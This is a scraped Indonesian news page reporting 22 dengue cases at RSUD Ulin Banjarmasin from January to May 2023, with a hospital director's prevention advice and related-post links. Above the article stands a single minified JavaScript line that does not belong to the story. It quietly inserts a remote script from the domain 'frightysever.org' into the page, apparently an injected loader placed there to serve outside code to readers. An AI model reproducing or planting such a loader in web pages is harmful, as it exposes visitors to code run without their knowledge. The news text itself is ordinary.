(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tren Turun, RSUD Ulin Banjarmasin Catat 22 Kasus DBD Periode Januari-Mei


KANALKALIMANTAN.COM, BANJARMASIN – Kasus Demam Berdarah Dengue (DBD) di Kalimantan Selatan, khususnya Kota Banjarmasin periode Januari hingga Mei 2023 tercatat sebanyak 22 kasus.

Meski tren penyakit menular melalui vektor nyamuk aedes aegypti turun, warga diminta tetap jaga kesehatan, terutama lingkungan agar tetap bersih.

Jumlah tersebut terbilang kecil dan terus mengalami penurunan. Demikian diungkapkan Plt Direktur RSUD Ulin Banjarmasin dr Diauddin.

Seperti yang terpantau, pada bulan Januari lalu hanya ditemukan sebanyak 7 pasien dan pada bulan Februari ada 9 pasien.

Baca juga: Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar

Kemudian per Maret tahun 2023 ini tercatat sebanyak 5 pasien, April 1 pasien dan bulan Mei tidak ada ditemukan pasien DBD yang dirawat di rumah sakit.

“Yang ditangani pihak rumah sakit setiap bulannya selalu menurun,” ucap dokter Dia -biasa pejabat ini disapa-, Kamis (15/6/2023).

Adapun rentang usia pasien yang dirawat beragam, mulai dari 5 tahun sampai 30 tahun. Namun rata-rata merupakan berjenis kelamin laki-laki.

Mantan Kepala Dinas Kesehatan Kabupaten Banjar ini menuturkan, kasus DBD pada tahun ini diprediksi tidak akan setinggi tahun-tahun sebelumnya. Hal itu lantaran diprediksi akan memasuki musim kemarau panjang pada tahun ini.

Baca juga: Wawali Wartono: Jangan Dipersulit, Permudah Layanan di Kecamatan dan Kelurahan

“Berdasarkan pengalaman, karena sudah memasuki musim kemarau kasus DBD rendah, dan semoga tidak setinggi tahun lalu,” ungkapnya.

Meski tren kasus DBD kian menurun, pihaknya dengan sigap terus melakukan pemantauan hingga penanganan, serta pencegahan kasus DBD di kawasan rumah sakit.

“Kami selalu menata lingkungan rumah sakit, agar tidak ada genangan air yang bisa menjadi sarang nyamuk dan juga mengatur tempat sampah agar tertutup,” sebutnya.

Dia mengimbau masyarakat untuk melakukan pencegahan dengan melakukan 3M Plus dan Pemberantasan Sarang Nyamuk (PSN).

Baca juga: Bahagia di Balik Senyum, Bantuan 377 Tabung Gas Gratis untuk Banjarmasin Barat

“Kita terus mengimbau kepada masyarakat, selalu membersihkan lingkungan sekitar agar tidak terjadinya penumpukan sampah yang bisa menimbulkan nyamuk,” imbaunya.

Masyarakat dapat melakukan pencegahan dini seperti dengan selalu menguras tempat penampungan air serta jangan menumpuk atau menggantung baju terlalu banyak.

“Laporkan juga jika ada kasus untuk melaksanakan penyelidikan epidemiologi, tingkatkan kewaspadaan dan selalu menjaga kebersihan,” pungkas dokter kelahiran Martapura ini. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.